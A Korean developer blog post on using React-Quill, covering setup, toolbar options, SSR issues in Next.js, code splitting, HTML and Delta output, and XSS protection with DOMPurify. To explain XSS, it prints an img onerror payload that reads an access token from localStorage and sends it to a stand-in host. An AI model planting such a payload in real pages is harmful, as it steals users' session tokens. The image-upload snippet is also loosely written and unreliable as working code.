React-Quill

류지승·2024년 11월 7일
post-thumbnail

React-Quill

React QuillQuill이라는 오픈 소스 리치 텍스트 에디터의 React 래퍼로, 사용자 친화적이고 강력한 웹 에디터를 React 환경에서 쉽게 구현할 수 있도록 도와주는 라이브러리다. Quill 자체는 다양한 스타일링과 서식 설정을 지원하며, React Quill을 통해 이를 React 컴포넌트처럼 활용할 수 있다.

React Quill 주요 특징

  1. 간편한 설치와 기본 기능 제공 : 기본적인 텍스트 서식, 이미지 삽입, 링크 추가 등의 기능을 쉽게 구현할 수 있다.
  2. 모듈화된 툴바 설정: Quill의 툴바는 모듈화되어 있어, 필요한 기능만 선택하거나 새로운 기능을 추가해 커스터마이징할 수 있다.
  3. 풍부한 확장: Quill은 플러그인 구조로 설계되어 있어, 별도의 기능을 추가하기 쉽다. React Quill로도 이 구조를 활용해 확장성을 유지할 수 있다.
  4. 지원되는 포맷 다양: Quill은 HTML, Markdown, JSON 등 다양한 포맷을 지원하여 데이터를 쉽게 변환하고 저장할 수 있다.

Quick Start

NPM React-Quill

npm install react-quill --save
import React, { useState } from 'react';
import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow.css';

function MyComponent() {
  const [value, setValue] = useState('');

  return <ReactQuill theme="snow" value={value} onChange={setValue} />;
}

툴바와 포맷 설정

React Quill에서는 Quill의 툴바와 포맷을 사용자가 원하는 대로 설정할 수 있다. 이 설정을 통해 에디터에 표시될 버튼과 스타일 옵션을 제어할 수 있다.

const modules = {
  toolbar: [
    [{ 'header': '1'}, {'header': '2'}, { 'font': [] }],
    [{ 'list': 'ordered'}, { 'list': 'bullet' }],
    ['bold', 'italic', 'underline', 'strike'],
    [{ 'color': [] }, { 'background': [] }],
    ['link', 'image'],
    ['clean']
  ],
};

const formats = [
  'header', 'font', 'size',
  'bold', 'italic', 'underline', 'strike', 'blockquote',
  'list', 'bullet', 'indent',
  'link', 'image', 'color', 'background'
];

이미지 업로드 기능 추가

Quill은 기본적으로 이미지 URL 삽입 기능을 제공하지만, 로컬에서 업로드한 이미지를 서버에 저장하고 이를 에디터에 표시하려면 별도의 이미지 핸들러를 추가해야 한다.

const handleImageUpload = () => {
  // 사용자 정의 업로드 로직
};

modules.toolbar[1].push({ handler: handleImageUpload });

클라이언트 사이드 렌더링과 서버 사이드 렌더링 문제

React Quill은 브라우저 환경에서 작동하기 때문에 document나 window와 같은 브라우저 객체가 필요한데, 이로 인해 Next.js와 같은 SSR 환경에서 document is not defined 오류가 발생할 수 있다. 이를 해결하기 위해 동적 import 기능을 사용하여 서버 렌더링을 방지한다.

import dynamic from 'next/dynamic';

const TextEditor = dynamic(() => import('react-quill'), { ssr: false });

export default function MyEditor() {
  return <TextEditor />;
}

Code-Splitting

Code Splitting(코드 분할)은 웹 애플리케이션을 여러 개의 번들로 나누어, 사용자가 필요한 시점에 필요한 코드만 로드하도록 하는 최적화 기법이다. 이를 통해 초기 로딩 속도를 개선하고, 사용자 경험을 향상시킬 수 있다.

Code Splitting의 필요성

대규모 웹 애플리케이션은 종종 여러 페이지와 기능을 포함하므로, 코드가 많아질수록 초기 로딩 시간이 길어진다. 모든 코드를 한 번에 번들링하여 제공하면 페이지 로드 속도가 느려지고 사용자 경험이 떨어지게 된다. Code Splitting을 통해 페이지 초기 로딩 속도는 빨라지고, 필요한 부분만 동적으로 로딩할 수 있게 된다.

Code Splitting 예시

const onSubmitForm = async () => {
  const { Modal } = await import('antd')
  Modal.success({ content: '게시글 등록에 성공하였습니다!!!' })
}

submit을 하고 성공적으로 데이터가 backend로 들어가면 이 때 ! modal을 띄우려고 하는데, 이 때, const { Modal } = await import('antd') 를 불러와서 modal을 import 하는 것이다. 이는 초기 번들 크기를 줄이고, 애플리케이션이 더 빠르게 load될 수 있다.

Quill 데이터 형식

HTML 형식 기본

React QuillonChange 이벤트를 통해 얻는 값은 HTML 문자열 형식이다. 이 값에는 텍스트, 서식, 이미지, 링크 등 다양한 HTML 태그가 포함되어 있다.

예를 들어, 사용자가 Quill을 통해 굵은 텍스트와 링크를 입력했다면, HTML 형식은 다음과 같이 들어올 수 있다.

<p><strong>Bold Text</strong> and <a href="https://example.com">Example Link</a></p>

그럼 실제 백엔드로 넘어가는 데이터는 HTML형식으로 넘어가게 될 것이고, 이후에 client에서는 해당 데이터를 사용할 때, HTML 형식으로 사용하게 될 것이다.

dangerouslySetInnerHTML

React에서는 기본적으로 HTML을 그대로 렌더링하지 않는다. HTML이 문자열 형태로 제공되더라도 React는 이를 단순 텍스트로 처리하여 태그를 렌더링하지 않기 때문에, 외부에서 제공된 HTML을 렌더링해야 할 때는 dangerouslySetInnerHTML을 사용해야 한다.

const QuillOutput = ({ content }) => {
  return (
    <div dangerouslySetInnerHTML={{ __html: content }} />
  );
};

하지만 dangerouslySetInnerHTML은 문제점이 존재한다.HTML 문자열을 그대로 삽입할 경우, 사용자가 악의적인 스크립트를 삽입할 가능성이 있기 때문에 XSS(크로스 사이트 스크립팅) 공격에 취약해질 수 있다.

<img src='#' onerror='
  const token = localStorage.getItem("accessToken"); 
  fetch("http://example.com/token", { 
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ token }) 
  });
' />

이런식으로 코드를 작성하게 되면 localstorage에 존재하는 access token을 탈취할 수 있다. 즉, 다른 사이트의 취약점을 노려서 Javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 한다.

XSS 문제 해결하기

Dompurify

DOMPurify는 HTML 콘텐츠의 보안을 위해 XSS(크로스 사이트 스크립팅) 공격을 방지하는 JavaScript 라이브러리다. 이 라이브러리는 HTML 콘텐츠를 깨끗하게 정화(클렌징) 해 주므로, 사용자가 입력한 HTML을 렌더링할 때 악성 스크립트나 의도치 않은 태그 삽입을 막아 안전하게 표시할 수 있다.

DOMPurify의 주요 기능

XSS 공격 방지: DOMPurify는 HTML을 분석하여 악의적인 스크립트나 의심스러운 태그를 제거합니다. 예를 들어 <script> 태그나 이벤트 핸들러 (onerror, onclick 등)를 통한 악성 스크립트 실행을 막는다.

정교한 필터링: 기본적으로 위험한 요소만 제거하지만, 필요에 따라 특정 태그나 속성을 허용하거나 차단할 수 있는 커스터마이징 기능을 제공한다.

안정성: DOMPurify는 브라우저 호환성이 높고, React, Vue, Angular와 같은 프레임워크와 함께 사용하기에도 적합하다.

빠른 성능: DOMPurify는 성능 최적화가 잘 되어 있어, 실시간 필터링이 필요한 경우에도 사용하기 좋다.

import DOMPurify from 'dompurify';

const SafeHtmlComponent = ({ htmlContent }) => {
  const cleanHtml = DOMPurify.sanitize(htmlContent);

  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
};

DOMPurifysanitize을 통해서 <script> 태그나 이벤트 핸들러 (onerror, onclick 등)를 통한 악성 스크립트 실행을 막는다. DOMPurify는 HTML 콘텐츠를 안전하게 정제해 주지만, 보안적 취약점이 있는 HTML을 아예 무조건적으로 안전하게 만드는 것은 아니다. 민감한 정보를 표시할 때는 사용자의 데이터 입력과 렌더링 방식에 더욱 주의가 필요하다.

Delta 형식

QuillDelta라는 JSON 기반의 구조화된 데이터 형식을 제공한다. Delta는 문서의 변경 사항(삽입, 삭제, 서식 등)을 객체 배열로 표현해 보다 직관적이고 안전하게 데이터를 관리할 수 있도록 한다.

Delta 형식으로 값을 가져오려면 getContents() 메서드를 사용하면 된다.

import React, { useState, useRef } from 'react';
import ReactQuill from 'react-quill';

const EditorComponent = () => {
  const [content, setContent] = useState('');
  const quillRef = useRef(null);

  const handleChange = (value) => {
    setContent(value); // HTML 형식으로 저장
  };

  const getDeltaContent = () => {
    const quillEditor = quillRef.current.getEditor();
    const delta = quillEditor.getContents();
    console.log(delta); // Delta 형식으로 출력
  };

  return (
    <div>
      <ReactQuill ref={quillRef} value={content} onChange={handleChange} />
      <button onClick={getDeltaContent}>Get Delta Content</button>
    </div>
  );
};

실제 delta는 다음과 같이 출력된다.

{
  "ops": [
    { "insert": "Bold Text", "attributes": { "bold": true } },
    { "insert": " and " },
    { "insert": "Example Link", "attributes": { "link": "https://example.com" } },
    { "insert": "\n" }
  ]
}

이 형식 그대로 데이터를 보내게 되면, BackEnd에서는 json 객체 그대로 데이터를 저장해주면 된다.

profile
성실(誠實)한 사람만이 목표를 성실(成實)한다

0개의 댓글